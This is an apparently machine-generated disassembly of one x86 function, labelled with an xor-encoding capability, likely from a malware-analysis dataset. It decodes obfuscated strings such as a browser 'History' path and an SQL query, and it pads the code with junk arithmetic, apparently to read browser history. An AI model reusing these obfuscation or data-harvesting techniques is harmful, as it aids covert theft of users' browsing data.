Function at 0x411657
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xb4
mov al, byte [0x42c89c]
push esi
add al, 0xd
mov dword [esp + 0x74], ecx
push edi
mov edi, edx
mov byte [0x42c90e], al
call fcn.00421268
and byte [0x42c90e], 0x64
mov esi, eax
test esi, esi
je 0x411c0c
push ebx
xor ebx, ebx
mov dword [esp + 0x24], 0x629367f
mov dword [esp + 0x28], 0x2e293312
mov ecx, ebx
mov word [esp + 0x2c], 0x2835
mov byte [esp + 0x2e], 0x23
mov al, byte [esp + ecx + 0x24]
xor al, 0x5a
movzx eax, al
mov word [esp + ecx*2 + 0x8c], ax
inc ecx
cmp ecx, 0xb
jl 0x4116a8
xor eax, eax
mov word [esp + 0xa2], ax
mov eax, dword [0x42c89c]
mov cl, al
or eax, 0x5a05e88a
or cl, 0x6d
push ebp
mov dword [0x42c89c], eax
add cl, 0x4b
lea eax, [esp + 0x90]
mov byte [0x42c90e], cl
push edi
push eax
call fcn.00423fac
mov edx, dword [0x42c89c]
mov ebp, eax
pop ecx
pop ecx
mov cl, byte [0x42c90e]
and edx, 0x89ce57ac
sub cl, 0x2c
mov dword [esp + 0x84], ebp
movzx ecx, cl
imul ecx, ecx, 0x7e
mov dword [0x42c89c], edx
mov byte [0x42c90e], cl
test ebp, ebp
je 0x411c0a
not dl
mov ecx, ebp
or dl, 0xf7
movzx eax, dl
or eax, 0x643aee1d
mov byte [0x42c90e], dl
mov dword [0x42c89c], eax
call fcn.0042415e
mov cl, byte [0x42c90e]
mov ebp, eax
and cl, 0xda
movzx edx, cl
add edx, 0x308e5f60
test ebp, ebp
je 0x411be7
lea eax, [edx + 0x62e742d0]
mov ecx, ebp
sub dl, 0x18
mov dword [0x42c89c], eax
mov byte [0x42c90e], dl
xor edx, edx
call 0x4249f5
mov edi, eax
mov dword [esp + 0x78], edi
test edi, edi
je 0x411b95
mov cl, byte [0x42c89c]
lea eax, [esp + 0x7c]
sub cl, 0x2f
movzx ecx, cl
xor ecx, 2
push ebx
and ecx, 0x2a0929c2
push 1
mov dword [0x42c89c], ecx
sub cl, 0x78
push eax
push edi
mov byte [0x42c90e], cl
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x411b65
mov dword [esp + 0x44], 0x767d7684
mov ecx, ebx
mov dword [esp + 0x48], 0xa6518574
mov dword [esp + 0x4c], 0x515d9da3
mov dword [esp + 0x50], 0x9da59aa5
mov dword [esp + 0x54], 0x83775196
mov dword [esp + 0x58], 0xa6517e80
mov word [esp + 0x5c], 0x9da3
mov byte [esp + 0x5e], 0xa4
mov al, byte [esp + ecx + 0x44]
sub al, 0x31
mov byte [esp + ecx + 0xa8], al
inc ecx
cmp ecx, 0x1b
jl 0x41180e
movzx eax, byte [0x42c90e]
imul eax, eax, 0x65
push ebx
mov byte [esp + 0xc7], bl
movzx eax, al
and eax, 0x37b90948
add eax, 0x5102277f
mov dword [0x42c89c], eax
xor al, 0xf7
mov byte [0x42c90e], al
lea eax, [esp + 0x28]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0xb4]
push eax
push dword [esp + 0x8c]
call dword [esi + 8]
add esp, 0x14
test eax, eax
jne 0x411b51
movzx eax, byte [0x42c90e]
lea edi, [esp + 0x6c]
push dword [esp + 0x24]
imul eax, eax, 0x3a7fd695
or eax, 0x30a5c5de
imul ecx, eax, 0xa85ebc0
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [0x42c89c], ecx
add cl, 0x2c
mov byte [0x42c90e], cl
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x411a38
mov dword [esp + 0x34], 0xf800f5e0
mov word [esp + 0x38], 0xc6f1
mov byte [esp + 0x3a], 0xac
mov dword [esp + 0x3c], 0x876a1f22
mov word [esp + 0x40], 0x4f81
mov byte [esp + 0x42], 0x35
mov ecx, ebx
mov al, byte [esp + ecx + 0x34]
add al, 0x74
mov byte [esp + ecx + 0x88], al
inc ecx
cmp ecx, 7
jl 0x4118db
mov byte [esp + 0x8f], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x3c]
sub al, 0x15
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 7
jl 0x4118f7
mov byte [esp + 0x2f], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x89895659
mov dword [esp + 0x14], 0x89898989
mov dword [esp + 0x18], 0x89898989
mov dword [esp + 0x1c], 0x89898989
mov word [esp + 0x20], 0x5989
mov byte [esp + 0x22], 0x56
mov al, byte [esp + ecx + 0x10]
sub al, 0x4c
mov byte [esp + ecx + 0x44], al
inc ecx
cmp ecx, 0x13
jl 0x411939
mov cl, byte [0x42c90e]
lea edx, [esp + 0x88]
and cl, 0x32
mov byte [esp + 0x57], bl
push 0xffffffffffffffff
lea eax, [ecx - 0x2f]
mov byte [0x42c90e], al
movzx eax, cl
lea ecx, [esp + 0x70]
imul eax, eax, 0xcf4595a9
and eax, 0xf12911d8
mov dword [0x42c89c], eax
call 0x424947
mov al, byte [0x42c89c]
push 1
push dword [esp + 0x2c]
and al, 0x73
mov byte [0x42c90e], al
call dword [esi + 0x20]
add esp, 0xc
push eax
push 1
push dword [esp + 0x2c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x70]
call 0x424947
and byte [0x42c90e], 0xfa
lea edx, [esp + 0x2c]
push 0xffffffffffffffff
lea ecx, [esp + 0x74]
call 0x424947
mov al, byte [0x42c90e]
sub al, 0x33
or al, 6
mov byte [0x42c90e], al
movzx eax, al
push ebx
push dword [esp + 0x30]
xor eax, 0xd6a25a93
mov dword [0x42c89c], eax
call dword [esi + 0x20]
add esp, 0x10
push eax
push ebx
push dword [esp + 0x2c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x70]
call 0x424947
movzx eax, byte [0x42c89c]
lea edx, [esp + 0x48]
imul eax, eax, 0xe7
lea ecx, [esp + 0x70]
push 0xffffffffffffffff
mov byte [0x42c90e], al
call 0x424947
push dword [esp + 0x2c]
call dword [esi + 0xc]
add esp, 0xc
cmp eax, 0x64
je 0x4118d9
cmp dword [esp + 0x6c], ebx
je 0x411b4d
mov dword [esp + 0x10], 0x16150bea
mov dword [esp + 0x14], 0xd11b1411
mov dword [esp + 0x18], 0x1150ec7
mov dword [esp + 0x1c], 0xd0150ec7
mov word [esp + 0x20], 0x1a16
mov byte [esp + 0x22], 0x16
movzx eax, byte [esp + ebx + 0x10]
mov ecx, 0xff
add ax, 0x5e
and ax, cx
mov word [esp + ebx*2 + 0x44], ax
inc ebx
cmp ebx, 0x13
jl 0x411a6e
push dword [esp + 0xc8]
xor eax, eax
push dword [esp + 0x84]
mov word [esp + 0x72], ax
mov al, byte [0x42c89c]
sub al, 0xb
movzx ecx, al
add ecx, 0x50ec451f
mov al, cl
or ecx, 0xabc4304d
or al, 0xcb
mov dword [0x42c89c], ecx
mov byte [0x42c90e], al
lea eax, [esp + 0x4c]
push eax
call fcn.00423fac
mov ecx, dword [0x42c89c]
mov edi, eax
xor ecx, 0x5d5f9077
add esp, 0xc
mov dword [0x42c89c], ecx
test edi, edi
je 0x411b33
movzx ecx, byte [0x42c90e]
mov edx, dword [esp + 0x74]
imul ecx, ecx, 0x17
push edi
movzx ecx, cl
add ecx, 0xa895ded0
mov dword [0x42c89c], ecx
add cl, 0x11
mov byte [0x42c90e], cl
mov ecx, dword [esp + 0x70]
call fcn.0041f651
mov al, byte [0x42c89c]
or al, 0x22
push edi
mov byte [0x42c90e], al
call fcn.004062f0
pop ecx
pop ecx
mov ecx, dword [0x42c89c]
push dword [esp + 0x6c]
inc cl
movzx eax, cl
imul eax, eax, 0xc0
mov byte [0x42c90e], al
call fcn.004062f0
pop ecx
mov edi, dword [esp + 0x78]
mov al, byte [0x42c89c]
push dword [esp + 0x24]
xor al, 0xb6
mov byte [0x42c90e], al
call dword [esi + 0x18]
pop ecx
mov al, byte [0x42c89c]
push dword [esp + 0x7c]
or al, 0x92
xor al, 0x7c
sub al, 0x46
mov byte [0x42c90e], al
call dword [esi + 0x1c]
movzx eax, byte [0x42c90e]
xor eax, 0xbc24b259
push edi
mov dword [0x42c89c], eax
call fcn.004062f0
pop ecx
pop ecx
mov eax, dword [0x42c89c]
xor ecx, ecx
xor eax, 0xea3e74ca
mov edx, 0x62d87b
mov dword [0x42c89c], eax
inc ecx
sub al, 0xb
push ebp
mov byte [0x42c90e], al
call fcn.00415f33
call eax
mov ecx, dword [0x42c89c]
and ecx, 0xe2ce0ac
push ebp
lea eax, [ecx + 0x7d]
mov byte [0x42c90e], al
lea eax, [ecx - 0x353cc1cf]
mov dword [0x42c89c], eax
call fcn.004062f0
pop ecx
mov cl, byte [0x42c90e]
push dword [esp + 0x84]
movzx eax, cl
or cl, 0xb3
or eax, 0x6a7937c7
mov byte [0x42c90e], cl
mov dword [0x42c89c], eax
call fcn.004062f0
pop ecx
pop ebp
pop ebx
pop edi
pop esi
add esp, 0xb4
ret